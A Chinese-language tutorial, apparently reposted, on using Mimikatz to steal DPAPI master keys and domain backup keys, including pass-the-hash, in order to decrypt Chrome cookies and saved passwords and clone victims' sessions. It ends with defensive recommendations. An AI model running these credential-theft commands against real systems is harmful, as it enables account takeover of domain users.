使用 MimiKatz 读取 DPAPI 加密密钥的几种方式
字数 1433 2025-08-05 08:19:10

DPAPI 密钥提取与利用技术详解

1. DPAPI 概述

DPAPI (Data Protection Application Programming Interface) 是 Windows 系统的数据保护接口,主要用于保护加密数据。在 Windows 系统中,用户的加密数据大都采用 DPAPI 进行存储,解密这些数据需要获得对应的 MasterKey。

2. 攻击场景与前提条件

2.1 典型攻击场景

  • 已控制目标域环境中的主机
  • 拥有域管理员凭据和哈希(或二者之一)
  • 目标是访问存储在谷歌浏览器中的特定用户凭据(历史记录和 cookie)

2.2 两种主要攻击方式

  1. 直接主机攻击:在受害者主机上执行 Mimikatz
  2. 域控制器攻击:通过域备份密钥解密任意用户主密钥

3. 直接主机攻击方法

3.1 基本命令

# 解密 Chrome Cookies
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies" /unprotect

# 解密 Chrome 保存的凭据
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

3.2 限制与解决方案

限制

  • 需要上传 Mimikatz 到目标主机
  • 可能触发防病毒软件和 EDR
  • 使用 psexec 执行时可能无法提取 Chrome 数据(权限问题)

解决方案

# 以 SYSTEM 权限获取主密钥
sekurlsa::dpapi

# 然后使用特定主密钥解密
dpapi::chrome /in:"C:\Users\kbell\AppData\Local\Google\Chrome\User Data\Default\Cookies" /masterkey:<master_key>

4. 域控制器攻击方法

4.1 获取域管理员权限

# 使用明文密码
runas /netonly /u:"core.internal\administrator" cmd.exe

# 或使用 NTLM 哈希(传递哈希攻击)
sekurlsa::pth /user:DA_ADMIN_USER /domain:FQDN.DOMAIN.LOCAL /ntlm:USER_NTLM_HASH

4.2 导出域备份密钥

lsadump::backupkeys /system:DOMAIN-CONTROLLER-HOSTNAME /export

输出文件示例:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk

4.3 关键文件收集

  1. Chrome 数据文件:

    • C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Local State
    • C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\*
  2. DPAPI 主密钥文件:

    • C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID\*
    • SID 示例:S-1-5-21-1968630676-249568448-1092335803-4255

4.4 使用备份密钥解密主密钥

dpapi::masterkey /in:98ec219d-d8c0-4d35-be33-8dca90bba887 /pvk:ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk

输出中包含用户的主密钥,如:
9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b

4.5 将解密的密钥导入本地内存

dpapi::create /guid:{98ec219d-d8c0-4d35-be33-8dca90bba887} /key:<master_key> /password:<your_password> /protected

4.6 复制密钥文件到正确位置

xcopy /H <source_key_file> C:\Users\<your_user>\AppData\Roaming\Microsoft\Protect\<your_SID>\

5. 攻击效果

成功执行后,攻击者可以:

  • 完全克隆受害者的 Chrome 会话
  • 访问所有保存的密码、历史记录和书签
  • 登录受害者的各种在线账户(如 Gmail)
  • 无需持续访问受害者主机即可维持对云服务的访问

6. 防御建议

  1. 限制域管理员权限:严格控制域管理员账户的使用
  2. 监控异常活动:检测 LSASS 内存转储和 DPAPI 相关操作
  3. 启用 Credential Guard:防止凭据盗窃
  4. 使用 Chrome 主密码:为保存的密码添加额外保护层
  5. 定期轮换域备份密钥:减少密钥泄露的影响范围

7. 总结

通过 DPAPI 攻击技术,攻击者在获得域管理员权限后可以解密域内任何用户的主密钥,进而访问其加密数据。这种攻击方式特别危险,因为它允许攻击者在不持续访问受害者主机的情况下,通过克隆浏览器会话来维持对云服务的访问权限。防御方应重视域管理员权限的管理和 DPAPI 相关活动的监控。

DPAPI 密钥提取与利用技术详解 1. DPAPI 概述 DPAPI (Data Protection Application Programming Interface) 是 Windows 系统的数据保护接口,主要用于保护加密数据。在 Windows 系统中,用户的加密数据大都采用 DPAPI 进行存储,解密这些数据需要获得对应的 MasterKey。 2. 攻击场景与前提条件 2.1 典型攻击场景 已控制目标域环境中的主机 拥有域管理员凭据和哈希(或二者之一) 目标是访问存储在谷歌浏览器中的特定用户凭据(历史记录和 cookie) 2.2 两种主要攻击方式 直接主机攻击 :在受害者主机上执行 Mimikatz 域控制器攻击 :通过域备份密钥解密任意用户主密钥 3. 直接主机攻击方法 3.1 基本命令 3.2 限制与解决方案 限制 : 需要上传 Mimikatz 到目标主机 可能触发防病毒软件和 EDR 使用 psexec 执行时可能无法提取 Chrome 数据(权限问题) 解决方案 : 4. 域控制器攻击方法 4.1 获取域管理员权限 4.2 导出域备份密钥 输出文件示例: ntds_capi_0_116e39f3-e091-4b58-88ff-8f232466b5d6.keyx.rsa.pvk 4.3 关键文件收集 Chrome 数据文件: C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Local State C:\Users\USERNAME\AppData\Local\Google\Chrome\User Data\Default\* DPAPI 主密钥文件: C:\Users\USERNAME\AppData\Roaming\Microsoft\Protect\SID\* SID 示例: S-1-5-21-1968630676-249568448-1092335803-4255 4.4 使用备份密钥解密主密钥 输出中包含用户的主密钥,如: 9a6f199e3d2e698ce78fdeeefadc85c527c43b4e3c5518c54e95718842829b12912567ca0713c4bd0cf74743c81c1d32bbf10020c9d72d58c99e731814e4155b 4.5 将解密的密钥导入本地内存 4.6 复制密钥文件到正确位置 5. 攻击效果 成功执行后,攻击者可以: 完全克隆受害者的 Chrome 会话 访问所有保存的密码、历史记录和书签 登录受害者的各种在线账户(如 Gmail) 无需持续访问受害者主机即可维持对云服务的访问 6. 防御建议 限制域管理员权限 :严格控制域管理员账户的使用 监控异常活动 :检测 LSASS 内存转储和 DPAPI 相关操作 启用 Credential Guard :防止凭据盗窃 使用 Chrome 主密码 :为保存的密码添加额外保护层 定期轮换域备份密钥 :减少密钥泄露的影响范围 7. 总结 通过 DPAPI 攻击技术,攻击者在获得域管理员权限后可以解密域内任何用户的主密钥,进而访问其加密数据。这种攻击方式特别危险,因为它允许攻击者在不持续访问受害者主机的情况下,通过克隆浏览器会话来维持对云服务的访问权限。防御方应重视域管理员权限的管理和 DPAPI 相关活动的监控。